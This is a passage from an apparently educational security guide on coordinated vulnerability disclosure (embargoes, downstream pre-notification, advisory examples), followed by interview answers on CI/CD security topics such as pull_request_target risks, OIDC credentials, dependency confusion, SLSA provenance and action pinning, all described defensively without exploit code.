- Watch for bypasses of the fix, credit the reporter, add a regression test
sequenceDiagram participant R as Reporter participant M as Maintainers participant P as Private fork participant U as Public repo + registry R->>M: Private report M->>P: Draft advisory +<br/>temporary private fork M->>P: Fix, review, backports M->>U: Release day: merge,<br/>tag, publish packages M->>U: Publish advisory + CVE U-->>U: Dependabot alerts<br/>downstream users
Step 4 in detail: pre-notifying downstream users under embargo
What is this?An embargo is an agreement to keep a vulnerability secret until a fixed date and time. Pre-notification means telling a small number of important downstream users before that date, so their fixed versions are ready on release day. "Downstream" means everyone who ships or runs your code inside their own product: Linux distributions that package your library, cloud providers, vendors that bundle it into appliances, big platforms built on it.
Why do it?Most people don't install your project directly. They get it through Debian, Red Hat, a Docker base image, a cloud service or a vendor's product. If those intermediaries hear about the bug at the same moment as attackers, their users stay exposed for days while each one builds, tests and ships an update. Pre-notification closes that gap: on release day, apt upgrade already has the fix.
Who to notify, and how to find them:
They repackage your project for millions of servers. For open-source projects, the private linux-distros mailing list (run by Openwall) reaches the security teams of most distributions at once.
Cloud providers, platforms and vendors that bundle your code. Find them from your dependents graph (GitHub "Used by", deps.dev, libraries.io), from issues and sponsorships, and from who has reported bugs before.
Maintainers of popular projects that depend on you, especially if they must ship their own release. Add them as collaborators on the draft GitHub security advisory so they see the details and the private fix.
When dozens of vendors are affected (a protocol bug, a widely embedded library), a coordination centre such as CERT/CC (through its VINCE platform) or a national CERT can contact vendors and manage the timeline for you.
To reach the right person at each organisation, look for their published security contact: a security.txt file at https://<domain>/.well-known/security.txt (RFC 9116), a SECURITY.md in their repositories, or a security@ address. Use encrypted email (PGP) or the private advisory, never a public issue or a chat channel.
How it runs, step by step
-
1. Have the fix and the date firstdefendbefore telling anyone
- The patch is reviewed, the CVE requested, and a public release date and time (with time zone) is chosen
- Notify only what you can ship: an embargo with no fix ready just spreads the secret
-
2. Send the pre-notificationca7–14 days before release
- Short, private, need-to-know. Each recipient confirms they'll respect the date
- linux-distros rule: you must state the planned public date, and the embargo may not exceed 14 days
-
3. Downstreams prepare quietlycaduring the embargo
- They build and test patched packages but don't publish them, don't commit the fix publicly, and don't mention it in public changelogs
-
4. Release daytlseveryone at once
- You publish the release and advisory; distributions and vendors push their updates the same hour
- For open-source issues sent to linux-distros, the details must then also be posted to the public oss-security list
-
If the embargo breaksattackrelease immediately
- A leak, a public exploit or signs of active exploitation ends the embargo early. Tell recipients and ship what you have, with the workaround
In practiceA pre-notification email, plain and complete (fictional project):
To: security@distro.example (PGP-encrypted)
Subject: [EMBARGOED until 2026-11-04 14:00 UTC] acme-template: remote code execution, CVE-2026-XXXXX
Summary: Crafted template names lead to remote code execution in acme-template.
Severity: Critical (CVSS 9.8)
Affected: < 2.4.7, and 3.0.0 – 3.1.1
Fixed in: 2.4.7 and 3.1.2 (patches attached for both branches)
Workaround until patched: set `sandbox: true` in the configuration.
Public release: 2026-11-04 14:00 UTC ← the one date everyone works to
Please do not publish packages, commits or changelog entries before that time,
and do not forward this beyond your security team. Reply to confirm.
Contact: security@acme-template.example (PGP key fingerprint: …)Security angle: the trade-offs
Keep the list small, name individuals rather than open mailing lists, record who was told and when, and keep embargoes short. The longer a secret is shared, the more likely it escapes.
Pre-notified organisations are protected first; everyone else learns with the attackers. Projects reduce the unfairness by having a written, public policy for who gets notified and why, instead of informal favours.
Some projects post a public heads-up a few days early: "a security release fixing a high-severity issue is coming on Tuesday", with no technical details. Everyone can schedule patching without learning what to attack. OpenSSL does this for its security releases.
If the bug is being exploited, skip the embargo and release.
📰Real incident — Heartbleed (CVE-2014-0160, 2014). Notification before disclosure was informal and uneven. A few organisations, including Cloudflare, had patched before the public announcement, while most Linux distributions and vendors learned about it at the same time as everyone else and scrambled for days. The resulting criticism is one reason OpenSSL adopted a written security policy covering severity levels, who gets notified in advance, and public pre-announcements of security releases.
🎯On the job. Before you ever need it, write down your project's disclosure policy in
SECURITY.md: how to report, typical timelines, whether and how you pre-notify (for example "distributions via linux-distros, up to 7 days before release"). Keep a short contact list of your largest downstreams' security teams, and publish your ownsecurity.txtso others can find you.
In practiceWhat a good published advisory says, in GitHub's format (abridged):
GHSA-xxxx-xxxx-xxxx Critical acme-template ← the identifier users and scanners match on
CVE-2026-XXXXX
Affected versions: < 2.4.7, >= 3.0.0 < 3.1.2
Patched versions: 2.4.7, 3.1.2 ← users need this line first
Impact: Remote code execution via crafted template names
Workarounds: Set `sandbox: true` until you can upgrade ← for people who can't patch today
Credits: reported by <researcher>Security angleThe release itself must be trustworthy too, because a rushed emergency release is a good moment for an attacker to slip something in:
No public PR, issue, branch name or commit message that names the bug before release day. A public CI run on the fix branch also leaks it, through the diff and the logs.
Publishing should run from a tag-triggered workflow with a protected environment (required reviewers), not from a maintainer's laptop. Use registry trusted publishing (OIDC, e.g. PyPI and npm) instead of a long-lived publish token stored as a secret.
Signed tags, and build provenance attestations so users can check the package came from your workflow.
Releasing only the newest major version leaves most users exposed. Say clearly which versions are no longer supported.
Once the release is out, the diff is public. Critical bugs are often exploited within days, so the advisory should say "upgrade now" and include a workaround.
📰Real incident — Log4Shell (CVE-2021-44228, 2021). The fix for the Log4j remote code execution bug was worked on in a public pull request on GitHub. A working exploit circulated publicly (first noticed against Minecraft servers) before most organisations had a fixed release in hand, and mass scanning started within hours. Lesson: in a public repo, the fix itself is the disclosure, so develop critical fixes privately and ship the release and the advisory together.
🎯On the job. When you maintain or depend on open source, check that each repo has a
SECURITY.mdand private vulnerability reporting switched on. In a release workflow review, look for: publish steps reachable without an approval gate, long-livedNPM_TOKEN/PYPI_TOKENsecrets where trusted publishing would work, and release jobs triggered by anything other than a protected tag. On the consuming side, watch for advisories published without a patched version: you'll need the workaround.
Memory hook"fix in the dark, ship in one flash". Private report, private fork, private review; then merge, release, advisory and CVE at the same moment.
Interview Questions: CI/CD Security
pull_request runs the workflow in the fork's context with no access to the base repo's secrets and a read-only token, so even though it checks out attacker-supplied code, there's nothing valuable to steal — it's safe for untrusted forks. pull_request_target runs in the base repo's context with full secrets and a write token; it was designed so fork PRs could do privileged things like labeling. The danger is that it checks out the base branch by default, but developers often add an explicit checkout of the PR head SHA and then build or test it — now untrusted code runs with full secrets and write access, which is a complete compromise of the repo and anything those secrets reach. So the rule is: use pull_request for untrusted forks, and if you must use pull_request_target, never check out and execute the PR's code in that context.
Instead of storing a long-lived cloud key in GitHub Secrets, the runner requests a short-lived, signed OIDC token from GitHub that asserts who's running — the repository, branch, and workflow. The cloud provider has a trust policy that verifies those claims and, if they match, returns temporary scoped credentials. So there's no standing secret sitting in the secrets store to leak, the credentials expire in minutes, and you can scope the trust tightly — for example only the main branch of one specific repo may assume the production role. It's the CI/CD equivalent of using roles instead of long-lived users: you prove an identity rather than carrying a key, which removes the single most common CI credential-theft vector.
PPE is getting the CI runner to execute attacker-controlled code so it runs with the pipeline's privileges — secrets, cloud access, signing keys. Direct PPE is modifying the pipeline definition itself, the workflow YAML, for example adding a step that exfiltrates secrets, which works if the attacker can influence a branch that triggers the pipeline. Indirect PPE is modifying something the pipeline calls rather than the workflow file — a build script, Makefile, test config, or an npm lifecycle hook — so even a protected workflow file executes poisoned code. Indirect is sneakier because reviewers scrutinize the workflow YAML but overlook the scripts it invokes. The fork-based public variant abuses pull_request_target to run a fork's changes with the upstream repo's secrets.
Dependency confusion exploits how package managers resolve a name that exists in both a private internal registry and the public one. If a company uses an internal package and an attacker publishes a public package with the same name at a higher version, the resolver may pull the attacker's public package because it favors the highest version across configured sources — running their install-time code in the build. Prevention: scope or namespace internal packages so their names can't be claimed publicly, configure the resolver to only get internal names from the private registry, pin dependencies with hashes so an unexpected package is rejected, and claim your internal names defensively on the public registry. It was the basis of a famous 2021 research bug-bounty campaign that breached many major companies.
I'd instrument both the control plane and the build runtime. Control plane: alert on changes to workflow files, self-hosted runner config, branch protection, and any action whose pinned SHA changed, plus new collaborators or deploy keys. Runtime: monitor what builds actually do — unexpected outbound network connections during dependency install or build, processes spawning shells, and access to credentials a step shouldn't need — since malicious packages and poisoned steps reveal themselves by behavior. I'd also watch for new public packages matching our internal namespace, verify artifact provenance with SLSA attestations and signature checks so a tampered artifact is caught, and feed CI/CD audit logs into the SIEM. The premise is that attackers rely on CI/CD being a logging blind spot, so visibility into both who-changed-what and what-the-build-did is the detection.
SLSA is about provenance — proving how an artifact was built. Level 3 requires a hardened, hosted build platform and non-falsifiable, signed provenance. In practice that means builds run on a managed, isolated builder, not a developer's machine, where the build can't tamper with its own provenance; each build produces a signed attestation describing the source commit, the builder identity, and the build steps; and the signing uses a mechanism the build itself can't forge — for instance an ephemeral OIDC identity through Sigstore, with the signature logged in a transparency log like Rekor. Then consumers verify that provenance before deploying, enforced at admission via cosign and a policy engine or Binary Authorization. The result is you can cryptographically confirm an artifact came from your trusted pipeline off a specific commit and wasn't built or altered elsewhere.
It depends on the token's permissions and lifetime. The default GITHUB_TOKEN is automatically scoped per workflow and expires when the job ends, which limits exposure — but if it has broad permissions, within that window an attacker can push code, modify or create releases and packages, alter workflows to plant persistence, open or approve PRs, and touch anything in the repo it has write to, potentially poisoning artifacts that downstream consumers trust. If the workflow over-grants permissions, or worse if it's a long-lived personal access token or app token rather than the ephemeral GITHUB_TOKEN, the blast radius and duration grow dramatically. So the mitigations are setting least-privilege permissions at the job level, never echoing the token, and preferring the short-lived default token over PATs. The supply-chain angle is what makes it severe: write access to a build pipeline can ship malware with a trusted signature.
The base repo is the project a pull request wants to merge into, and it owns the secrets and the write token; a fork is someone else's full copy of that project where they can push anything, so code from a fork is untrusted. A checkout is the CI step that puts one particular version of the code on the runner, the base branch or the PR's head commit, and every later step builds or runs whatever was checked out. The compromise happens when a job runs with the base repo's privileges, like pull_request_target, but checks out the fork's head SHA and runs npm install or a test suite: the attacker's code now executes next to the secrets, which is exactly how projects like Ultralytics got poisoned releases.
Everything pushed to a public repo is visible instantly, so the fix itself would disclose the bug before anyone could upgrade. I'd take the report privately, open a draft GitHub security advisory, request a CVE, and develop and review the fix in the advisory's temporary private fork, with backports for every supported version. If there are major downstream users, I'd pre-notify them under a short embargo. On release day I'd merge, tag, publish packages through a protected, tag-triggered workflow with trusted publishing, and publish the advisory with patched versions and a workaround in one go. Log4Shell is the cautionary tale: the fix was in a public pull request, and exploitation went public before most people had a release they could install.
A tag like v4 is a movable pointer, so whoever controls the action's repository can repoint it and every workflow using the tag runs the new code; that's exactly what happened with tj-actions/changed-files in 2025, when all its version tags were moved to a commit that dumped secrets into logs. A full SHA names one exact commit, so pinned workflows were unaffected. But a SHA pin has limits: GitHub resolves commits across a repository's fork network, so a "pin update" can point to an impostor commit that only exists in an attacker's fork; the pinned action can still pull in unpinned actions, images or scripts; and a pin freezes bugs unless a bot keeps it updated. So I pin, verify new SHAs are reachable from upstream tags, update through Dependabot or Renovate with diff review, and still keep token permissions and secrets minimal.